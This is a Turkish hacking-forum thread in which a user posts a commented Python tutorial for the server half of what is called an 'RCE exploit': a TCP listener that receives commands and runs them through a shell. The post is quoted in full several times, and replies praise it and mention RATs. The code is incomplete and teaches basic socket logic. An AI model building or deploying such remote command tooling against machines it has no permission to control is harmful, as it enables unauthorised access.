Python ile en basit RCE Exploit Server'i Yazalım | AR-GE Melekleri Kulübü

slowbaskan123 · 4 Mar 2025

Selamlar, bugün Python ile en basit yoldan, RCE yani ( Remote Code Execution ) Exploit yazacağız.
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.

Kütüphanelerimiz;

import socket
import subprocess
import threading
import time
import random
import string

Bağlantı için bir oturum kimliği oluşturalım;

Python:

# def ile fonksiyonumuzu açtık
# random string oluşturup onu kullanacağız
# her giriş için farklı bir kimlik

def oturum_kimligi_olustur(uzunluk):

    # string'i ASCII biçiminde oluşturup değişkene atadık
    # for döngüsünü kurup değişkendeki harfler ile random string oluşturduk
    karakterler = string.ascii_letters + string.digits
    # random karakterler oluşturmak için
    # uzunluk parametresini for döngüsüne verip
    # random string oluşturduk
    return ''.join(random.choice(karakterler) for _ in range(uzunluk))

Şimdi komut çalıştırmak için bir fonksiyon açalım;

Python:

def komut_calistir(komut):
    # yine def ile fonksiyonu açıp
    # komut parametresini verdik
    # try ile komut çalıştırmayı deniyoruz
    try:
        # timeout 15 olarak belirttik
        # her 15 saniyede bir çalıştırmayı deniyoruz
        # "subprocess.check_output" komutu çalıştırmak için
        # komut parametresi çalışacak
        # belirlediğiniz komuta göre örn. "test mesajı"
        # bunlarıda yazdırmak için "shell=True" veriyoruz
        # bu cmd yani terminalde çalıştırmak için
        # sadece windows değil, linux'ta aynı şekil
        return subprocess.check_output(komut, shell=True, stderr=subprocess.STDOUT, timeout=15)
    # except ile dönüş alıp
    # hata mesajını yazdırıyoruz
    except Exception as hata:
        return f"hata: {str(hata)}".encode()

# yine fonksiyonu açıp 3 tane parametre verdik
def istemciyi_yonet(baglanti, istemci_adresi, aktif_istemciler):
    # oturum kimliği oluştur diyip
    # (6) ile 6 string uzunluğu belirttik
    # bunu değiştirebilirsiniz kendinize göre
    # sonra bunu değişkene atadık

    oturum_kimligi = oturum_kimligi_olustur(6)

Python:

    # istemci bilgisini aktif_istemciler'e aktarıyoruz
    # kimliği ve son aktivite zamanını burada gösterecek
    aktif_istemciler[istemci_adresi] = {"oturum": oturum_kimligi, "son_aktivite": time.time()}
    # cliente sunucu kimliğini gönderdik
    # oturum kimliğini değişlen olacağı için "{}" içinde verdik
    # "encode" stringleri byte çevirmek için kullanıyoruz
    # sunucuya byte şeklinde vermemiz lazım
    baglanti.send(f"oturumunuz: {oturum_kimligi}".encode())
    # while kurup true ile
    # bağlantı almaya çalışıyoruz
    while True:
      
        try:
            # istemciden 4096 bayt veri alıyoruz
            # .decode ile stringe çevirip
            # veri değişkenine aktardık
            # yani veriyi string olarak verip
            # byte dönüştürüp gönderiyoruz
            # veriyi okumak için aynı şekilde çözüp okuyoruz
            veri = baglanti.recv(4096).decode()
            # burada veri değişkenini kontrol ediyoruz
            # gelen veri yoksa kapatıyoruz
            # veya kapat komutu geldiyse
            if not veri or veri.lower() == "kapat":
                break

Şimdi Sunucuyu başlatalım;

Python:

def sunucuyu_baslat():
    # tcp soketi oluşturup
    # bunu sunucu_soketi değişkenine atadık
    sunucu_soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sunucuyu 0.0.0.0:9999 adresine bağlıyoruz
    # adres'i değiştirebilirsiniz

    sunucu_soketi.bind(('0.0.0.0', 9999))
    # maksimum 5 client bağlantısı
    # ayarladık, bunu arttırabilirsiniz
    # fakat kontrol aşamasında zorlar
    sunucu_soketi.listen(5)
    # aktif_istemciler değişkenini boş ayarladık
    # dinmaik olarak artacağı için
    # tek bir client'ten bağlantı alacaksanız
    # direk ayarlayın
    aktif_istemciler = {}
    # sunucunun çalıştığını bildiriyoruz
    print("sunucu çalışıyor")
    # while ile hep bağlantıyı açık tutuyoruz
    while True:
        # yeni bağlantıları kabul ediyoruz
        # bağlantı almak istemiyorsanız
        # bir süreden sonra kapatabilirsiniz
        baglanti, istemci_adresi = sunucu_soketi.accept()

Şimdi en son thread'leri ayarlayıp, programı bitirelim;

Python:

        # her istemci için ayrı bir thread başlatıyoruz
        # parametleri verip
        # thread değişkenine atadık
        thread = threading.Thread(target=istemciyi_yonet, args=(baglanti, istemci_adresi, aktif_istemciler))
        # thread değişkenini
        # start fonksiyonu ile başlatıyoruz
        thread.start()

if __name__ == "__main__":
    sunucuyu_baslat()

Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.

SAYGILARIMLA

Kurt_44 · 4 Mar 2025

Teşekkürler hocam elinize sağlık şimdi gördüm bu konunuzu mükemmel olmuş

Anormalİnsan · 4 Mar 2025

slowbaskan123' Alıntı:

Selamlar, bugün Python ile en basit yoldan, RCE yani ( Remote Code Execution ) Exploit yazacağız.
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.

Kütüphanelerimiz;

import socket
import subprocess
import threading
import time
import random
import string

Bağlantı için bir oturum kimliği oluşturalım;

Python:

# def ile fonksiyonumuzu açtık
# random string oluşturup onu kullanacağız
# her giriş için farklı bir kimlik

def oturum_kimligi_olustur(uzunluk):

    # string'i ASCII biçiminde oluşturup değişkene atadık
    # for döngüsünü kurup değişkendeki harfler ile random string oluşturduk
    karakterler = string.ascii_letters + string.digits
    # random karakterler oluşturmak için
    # uzunluk parametresini for döngüsüne verip
    # random string oluşturduk
    return ''.join(random.choice(karakterler) for _ in range(uzunluk))

Şimdi komut çalıştırmak için bir fonksiyon açalım;

Python:

def komut_calistir(komut):
    # yine def ile fonksiyonu açıp
    # komut parametresini verdik
    # try ile komut çalıştırmayı deniyoruz
    try:
        # timeout 15 olarak belirttik
        # her 15 saniyede bir çalıştırmayı deniyoruz
        # "subprocess.check_output" komutu çalıştırmak için
        # komut parametresi çalışacak
        # belirlediğiniz komuta göre örn. "test mesajı"
        # bunlarıda yazdırmak için "shell=True" veriyoruz
        # bu cmd yani terminalde çalıştırmak için
        # sadece windows değil, linux'ta aynı şekil
        return subprocess.check_output(komut, shell=True, stderr=subprocess.STDOUT, timeout=15)
    # except ile dönüş alıp
    # hata mesajını yazdırıyoruz
    except Exception as hata:
        return f"hata: {str(hata)}".encode()

# yine fonksiyonu açıp 3 tane parametre verdik
def istemciyi_yonet(baglanti, istemci_adresi, aktif_istemciler):
    # oturum kimliği oluştur diyip
    # (6) ile 6 string uzunluğu belirttik
    # bunu değiştirebilirsiniz kendinize göre
    # sonra bunu değişkene atadık

    oturum_kimligi = oturum_kimligi_olustur(6)

Python:

    # istemci bilgisini aktif_istemciler'e aktarıyoruz
    # kimliği ve son aktivite zamanını burada gösterecek
    aktif_istemciler[istemci_adresi] = {"oturum": oturum_kimligi, "son_aktivite": time.time()}
    # cliente sunucu kimliğini gönderdik
    # oturum kimliğini değişlen olacağı için "{}" içinde verdik
    # "encode" stringleri byte çevirmek için kullanıyoruz
    # sunucuya byte şeklinde vermemiz lazım
    baglanti.send(f"oturumunuz: {oturum_kimligi}".encode())
    # while kurup true ile
    # bağlantı almaya çalışıyoruz
    while True:
     
        try:
            # istemciden 4096 bayt veri alıyoruz
            # .decode ile stringe çevirip
            # veri değişkenine aktardık
            # yani veriyi string olarak verip
            # byte dönüştürüp gönderiyoruz
            # veriyi okumak için aynı şekilde çözüp okuyoruz
            veri = baglanti.recv(4096).decode()
            # burada veri değişkenini kontrol ediyoruz
            # gelen veri yoksa kapatıyoruz
            # veya kapat komutu geldiyse
            if not veri or veri.lower() == "kapat":
                break

Şimdi Sunucuyu başlatalım;

Python:

def sunucuyu_baslat():
    # tcp soketi oluşturup
    # bunu sunucu_soketi değişkenine atadık
    sunucu_soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sunucuyu 0.0.0.0:9999 adresine bağlıyoruz
    # adres'i değiştirebilirsiniz

    sunucu_soketi.bind(('0.0.0.0', 9999))
    # maksimum 5 client bağlantısı
    # ayarladık, bunu arttırabilirsiniz
    # fakat kontrol aşamasında zorlar
    sunucu_soketi.listen(5)
    # aktif_istemciler değişkenini boş ayarladık
    # dinmaik olarak artacağı için
    # tek bir client'ten bağlantı alacaksanız
    # direk ayarlayın
    aktif_istemciler = {}
    # sunucunun çalıştığını bildiriyoruz
    print("sunucu çalışıyor")
    # while ile hep bağlantıyı açık tutuyoruz
    while True:
        # yeni bağlantıları kabul ediyoruz
        # bağlantı almak istemiyorsanız
        # bir süreden sonra kapatabilirsiniz
        baglanti, istemci_adresi = sunucu_soketi.accept()

Şimdi en son thread'leri ayarlayıp, programı bitirelim;

Python:

        # her istemci için ayrı bir thread başlatıyoruz
        # parametleri verip
        # thread değişkenine atadık
        thread = threading.Thread(target=istemciyi_yonet, args=(baglanti, istemci_adresi, aktif_istemciler))
        # thread değişkenini
        # start fonksiyonu ile başlatıyoruz
        thread.start()

if __name__ == "__main__":
    sunucuyu_baslat()

Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.

SAYGILARIMLA

Hocam siz bütün komutları nerden öğrendiniz izinizden gideyim

slowbaskan123 · 4 Mar 2025

Kurt_44' Alıntı:
Teşekkürler hocam elinize sağlık şimdi gördüm bu konunuzu mükemmel olmuş

teşekkür ederim.

Anormalİnsan' Alıntı:
Hocam siz bütün komutları nerden öğrendiniz izinizden gideyim

araştırma ve deneyim

@BlackDynamite bilir, yaptığım her şeyi gözü önünde yaptım neredeyse tüm bilgi birikimimi bilir.

BlackDynamite · 4 Mar 2025

slowbaskan123' Alıntı:
teşekkür ederim.

araştırma ve deneyim @BlackDynamite bilir, yaptığım her şeyi gözü önünde yaptım neredeyse tüm bilgi birikimimi bilir.

iradeli 3 öğrenci çıktı zaten gerisi kafa hep saldırmaktı kimse savunmayı düsünmedi

BlackDynamite · 4 Mar 2025

Anormalİnsan' Alıntı:
Hocam siz bütün komutları nerden öğrendiniz izinizden gideyim

benim ratlar meshurdur bir kolunu at gider bak görürsün baya eğlencilidir mal bile diyorki gelip yav sen nessin ben bile anladım diyor

raidenhan · 4 Mar 2025

Bu adam bu işi yapıyor vessalam.

slowbaskan123 · 4 Mar 2025

raidenhan' Alıntı:
Bu adam bu işi yapıyor vessalam.

teşekkür ederim, basit bir kod parçası çoğu kişi sunucu istemci arasındaki bağlantıda zorlanıyor o yüzden açtım.

Cellad1453 · 5 Mar 2025

Eline sağlık kardeşim her zaman ki gibi döktürmüşsün

slowbaskan123 · 5 Mar 2025

Cellad1453' Alıntı:
Eline sağlık kardeşim her zaman ki gibi döktürmüşsün

teşekkür ederim abim.

Deepscrn · 5 Mar 2025

Yorum satırlarını azaltsan okuyacaz kodu

slowbaskan123 · 5 Mar 2025

Deepscrn' Alıntı:
Yorum satırlarını azaltsan okuyacaz kodu

anlamayan oluyor, ne yapayım?

Deepscrn · 5 Mar 2025

slowbaskan123' Alıntı:
anlamayan oluyor, ne yapayım?

3 tırnakla hepsini bir araya topla

slowbaskan123 · 5 Mar 2025

Deepscrn' Alıntı:
3 tırnakla hepsini bir araya topla

böyle alıştım, daha rahat geliyor zaten senin rahat okuyacağını düşünüyorum.

ZBK123 · 5 Mar 2025

slowbaskan123' Alıntı:

Selamlar, bugün Python ile en basit yoldan, RCE yani ( Remote Code Execution ) Exploit yazacağız.
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.

Kütüphanelerimiz;

import socket
import subprocess
import threading
import time
import random
import string

Bağlantı için bir oturum kimliği oluşturalım;

Python:

# def ile fonksiyonumuzu açtık
# random string oluşturup onu kullanacağız
# her giriş için farklı bir kimlik

def oturum_kimligi_olustur(uzunluk):

    # string'i ASCII biçiminde oluşturup değişkene atadık
    # for döngüsünü kurup değişkendeki harfler ile random string oluşturduk
    karakterler = string.ascii_letters + string.digits
    # random karakterler oluşturmak için
    # uzunluk parametresini for döngüsüne verip
    # random string oluşturduk
    return ''.join(random.choice(karakterler) for _ in range(uzunluk))

Şimdi komut çalıştırmak için bir fonksiyon açalım;

Python:

def komut_calistir(komut):
    # yine def ile fonksiyonu açıp
    # komut parametresini verdik
    # try ile komut çalıştırmayı deniyoruz
    try:
        # timeout 15 olarak belirttik
        # her 15 saniyede bir çalıştırmayı deniyoruz
        # "subprocess.check_output" komutu çalıştırmak için
        # komut parametresi çalışacak
        # belirlediğiniz komuta göre örn. "test mesajı"
        # bunlarıda yazdırmak için "shell=True" veriyoruz
        # bu cmd yani terminalde çalıştırmak için
        # sadece windows değil, linux'ta aynı şekil
        return subprocess.check_output(komut, shell=True, stderr=subprocess.STDOUT, timeout=15)
    # except ile dönüş alıp
    # hata mesajını yazdırıyoruz
    except Exception as hata:
        return f"hata: {str(hata)}".encode()

# yine fonksiyonu açıp 3 tane parametre verdik
def istemciyi_yonet(baglanti, istemci_adresi, aktif_istemciler):
    # oturum kimliği oluştur diyip
    # (6) ile 6 string uzunluğu belirttik
    # bunu değiştirebilirsiniz kendinize göre
    # sonra bunu değişkene atadık

    oturum_kimligi = oturum_kimligi_olustur(6)

Python:

    # istemci bilgisini aktif_istemciler'e aktarıyoruz
    # kimliği ve son aktivite zamanını burada gösterecek
    aktif_istemciler[istemci_adresi] = {"oturum": oturum_kimligi, "son_aktivite": time.time()}
    # cliente sunucu kimliğini gönderdik
    # oturum kimliğini değişlen olacağı için "{}" içinde verdik
    # "encode" stringleri byte çevirmek için kullanıyoruz
    # sunucuya byte şeklinde vermemiz lazım
    baglanti.send(f"oturumunuz: {oturum_kimligi}".encode())
    # while kurup true ile
    # bağlantı almaya çalışıyoruz
    while True:
     
        try:
            # istemciden 4096 bayt veri alıyoruz
            # .decode ile stringe çevirip
            # veri değişkenine aktardık
            # yani veriyi string olarak verip
            # byte dönüştürüp gönderiyoruz
            # veriyi okumak için aynı şekilde çözüp okuyoruz
            veri = baglanti.recv(4096).decode()
            # burada veri değişkenini kontrol ediyoruz
            # gelen veri yoksa kapatıyoruz
            # veya kapat komutu geldiyse
            if not veri or veri.lower() == "kapat":
                break

Şimdi Sunucuyu başlatalım;

Python:

def sunucuyu_baslat():
    # tcp soketi oluşturup
    # bunu sunucu_soketi değişkenine atadık
    sunucu_soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sunucuyu 0.0.0.0:9999 adresine bağlıyoruz
    # adres'i değiştirebilirsiniz

    sunucu_soketi.bind(('0.0.0.0', 9999))
    # maksimum 5 client bağlantısı
    # ayarladık, bunu arttırabilirsiniz
    # fakat kontrol aşamasında zorlar
    sunucu_soketi.listen(5)
    # aktif_istemciler değişkenini boş ayarladık
    # dinmaik olarak artacağı için
    # tek bir client'ten bağlantı alacaksanız
    # direk ayarlayın
    aktif_istemciler = {}
    # sunucunun çalıştığını bildiriyoruz
    print("sunucu çalışıyor")
    # while ile hep bağlantıyı açık tutuyoruz
    while True:
        # yeni bağlantıları kabul ediyoruz
        # bağlantı almak istemiyorsanız
        # bir süreden sonra kapatabilirsiniz
        baglanti, istemci_adresi = sunucu_soketi.accept()

Şimdi en son thread'leri ayarlayıp, programı bitirelim;

Python:

        # her istemci için ayrı bir thread başlatıyoruz
        # parametleri verip
        # thread değişkenine atadık
        thread = threading.Thread(target=istemciyi_yonet, args=(baglanti, istemci_adresi, aktif_istemciler))
        # thread değişkenini
        # start fonksiyonu ile başlatıyoruz
        thread.start()

if __name__ == "__main__":
    sunucuyu_baslat()

Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.

SAYGILARIMLA

Ellerinize sağlık

EnsarKara · 5 Mar 2025

slowbaskan123' Alıntı:

Selamlar, bugün Python ile en basit yoldan, RCE yani ( Remote Code Execution ) Exploit yazacağız.
Kod 2 parçadan oluşacak, sunucu ve client olarak.
Burada sadece sunucuyu yazacağız.

Kütüphanelerimiz;

import socket
import subprocess
import threading
import time
import random
import string

Bağlantı için bir oturum kimliği oluşturalım;

Python:

# def ile fonksiyonumuzu açtık
# random string oluşturup onu kullanacağız
# her giriş için farklı bir kimlik

def oturum_kimligi_olustur(uzunluk):

    # string'i ASCII biçiminde oluşturup değişkene atadık
    # for döngüsünü kurup değişkendeki harfler ile random string oluşturduk
    karakterler = string.ascii_letters + string.digits
    # random karakterler oluşturmak için
    # uzunluk parametresini for döngüsüne verip
    # random string oluşturduk
    return ''.join(random.choice(karakterler) for _ in range(uzunluk))

Şimdi komut çalıştırmak için bir fonksiyon açalım;

Python:

def komut_calistir(komut):
    # yine def ile fonksiyonu açıp
    # komut parametresini verdik
    # try ile komut çalıştırmayı deniyoruz
    try:
        # timeout 15 olarak belirttik
        # her 15 saniyede bir çalıştırmayı deniyoruz
        # "subprocess.check_output" komutu çalıştırmak için
        # komut parametresi çalışacak
        # belirlediğiniz komuta göre örn. "test mesajı"
        # bunlarıda yazdırmak için "shell=True" veriyoruz
        # bu cmd yani terminalde çalıştırmak için
        # sadece windows değil, linux'ta aynı şekil
        return subprocess.check_output(komut, shell=True, stderr=subprocess.STDOUT, timeout=15)
    # except ile dönüş alıp
    # hata mesajını yazdırıyoruz
    except Exception as hata:
        return f"hata: {str(hata)}".encode()

# yine fonksiyonu açıp 3 tane parametre verdik
def istemciyi_yonet(baglanti, istemci_adresi, aktif_istemciler):
    # oturum kimliği oluştur diyip
    # (6) ile 6 string uzunluğu belirttik
    # bunu değiştirebilirsiniz kendinize göre
    # sonra bunu değişkene atadık

    oturum_kimligi = oturum_kimligi_olustur(6)

Python:

    # istemci bilgisini aktif_istemciler'e aktarıyoruz
    # kimliği ve son aktivite zamanını burada gösterecek
    aktif_istemciler[istemci_adresi] = {"oturum": oturum_kimligi, "son_aktivite": time.time()}
    # cliente sunucu kimliğini gönderdik
    # oturum kimliğini değişlen olacağı için "{}" içinde verdik
    # "encode" stringleri byte çevirmek için kullanıyoruz
    # sunucuya byte şeklinde vermemiz lazım
    baglanti.send(f"oturumunuz: {oturum_kimligi}".encode())
    # while kurup true ile
    # bağlantı almaya çalışıyoruz
    while True:
     
        try:
            # istemciden 4096 bayt veri alıyoruz
            # .decode ile stringe çevirip
            # veri değişkenine aktardık
            # yani veriyi string olarak verip
            # byte dönüştürüp gönderiyoruz
            # veriyi okumak için aynı şekilde çözüp okuyoruz
            veri = baglanti.recv(4096).decode()
            # burada veri değişkenini kontrol ediyoruz
            # gelen veri yoksa kapatıyoruz
            # veya kapat komutu geldiyse
            if not veri or veri.lower() == "kapat":
                break

Şimdi Sunucuyu başlatalım;

Python:

def sunucuyu_baslat():
    # tcp soketi oluşturup
    # bunu sunucu_soketi değişkenine atadık
    sunucu_soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sunucuyu 0.0.0.0:9999 adresine bağlıyoruz
    # adres'i değiştirebilirsiniz

    sunucu_soketi.bind(('0.0.0.0', 9999))
    # maksimum 5 client bağlantısı
    # ayarladık, bunu arttırabilirsiniz
    # fakat kontrol aşamasında zorlar
    sunucu_soketi.listen(5)
    # aktif_istemciler değişkenini boş ayarladık
    # dinmaik olarak artacağı için
    # tek bir client'ten bağlantı alacaksanız
    # direk ayarlayın
    aktif_istemciler = {}
    # sunucunun çalıştığını bildiriyoruz
    print("sunucu çalışıyor")
    # while ile hep bağlantıyı açık tutuyoruz
    while True:
        # yeni bağlantıları kabul ediyoruz
        # bağlantı almak istemiyorsanız
        # bir süreden sonra kapatabilirsiniz
        baglanti, istemci_adresi = sunucu_soketi.accept()

Şimdi en son thread'leri ayarlayıp, programı bitirelim;

Python:

        # her istemci için ayrı bir thread başlatıyoruz
        # parametleri verip
        # thread değişkenine atadık
        thread = threading.Thread(target=istemciyi_yonet, args=(baglanti, istemci_adresi, aktif_istemciler))
        # thread değişkenini
        # start fonksiyonu ile başlatıyoruz
        thread.start()

if __name__ == "__main__":
    sunucuyu_baslat()

Kod bu kadar, basit bir kod oldu fakat amaç burada Exploit yazmak isteyip mantığını tam oturtamayanlar için.
Mantık sürekli sunucu, client arası kontak kurup bağlantıyı kesmemek ve veri okumak.
Bunu geliştirip giden gelen komutları şifreleyebilirsiniz.
Daha yapılacak çok işlem var, yüzeysel değindim burada.

SAYGILARIMLA

Eline Sağlık

slowbaskan123 · 5 Mar 2025

zarobey123' Alıntı:
Ellerinize sağlık

EnsarKara' Alıntı:
Eline Sağlık

teşekkürler.

Hacker 1K.v2 · 5 Mar 2025

Hocam xhangerlite diye bi cs hilesi var bakar mısınız virüsmü değilmi diye

slowbaskan123 · 5 Mar 2025

Hacker 1K.v2' Alıntı:
Hocam xhangerlite diye bi cs hilesi var bakar mısınız virüsmü değilmi diye

dm'den iletir misin.

Bunjo · 15 Mar 2025

Konunun yüzeysel olduğunu zaten belirtmişsiniz. Amacını yerine getiren bir araç olmuş elinize sağlık. İstemci işletim sistemiyle tam performanslı etkileşime geçebilmek için daha statik diller tercih edilebilir. Bağlantı esnasında ufak bir kopma bile olsa iki taraflı bağlantı istemci programı tekrar açana kadar kaybedilecektir bu durumdan sizinde farkında olduğunuzu biliyorum. İlerleyen süreçlerde hata yakalama blokları arttırılarak bu sorun için çözümler üretilebilir. İstemci tarafında kullanılan portlar ve ağ adresleri analiz edilip daha müsait bir bağlantı üzerinden iletişim/bağlantı gerçekleştirilebilir diye düşünüyorum.

Genel mantığı anlamak isteyenler için yararlı bir içerik olmuş tekrar elinize sağlık. Daha da geliştirmek isteyen arkadaşlar yazdıklarımı dikkate alabilirler.

Python ile en basit RCE Exploit Server'i Yazalım | AR-GE Melekleri Kulübü

Kıdemli Üye

Editör

Katılımcı Üye

Kıdemli Üye

Kıdemli Üye

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Katılımcı Üye

Anka Red Team Stajyer Asistan

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Uzman üye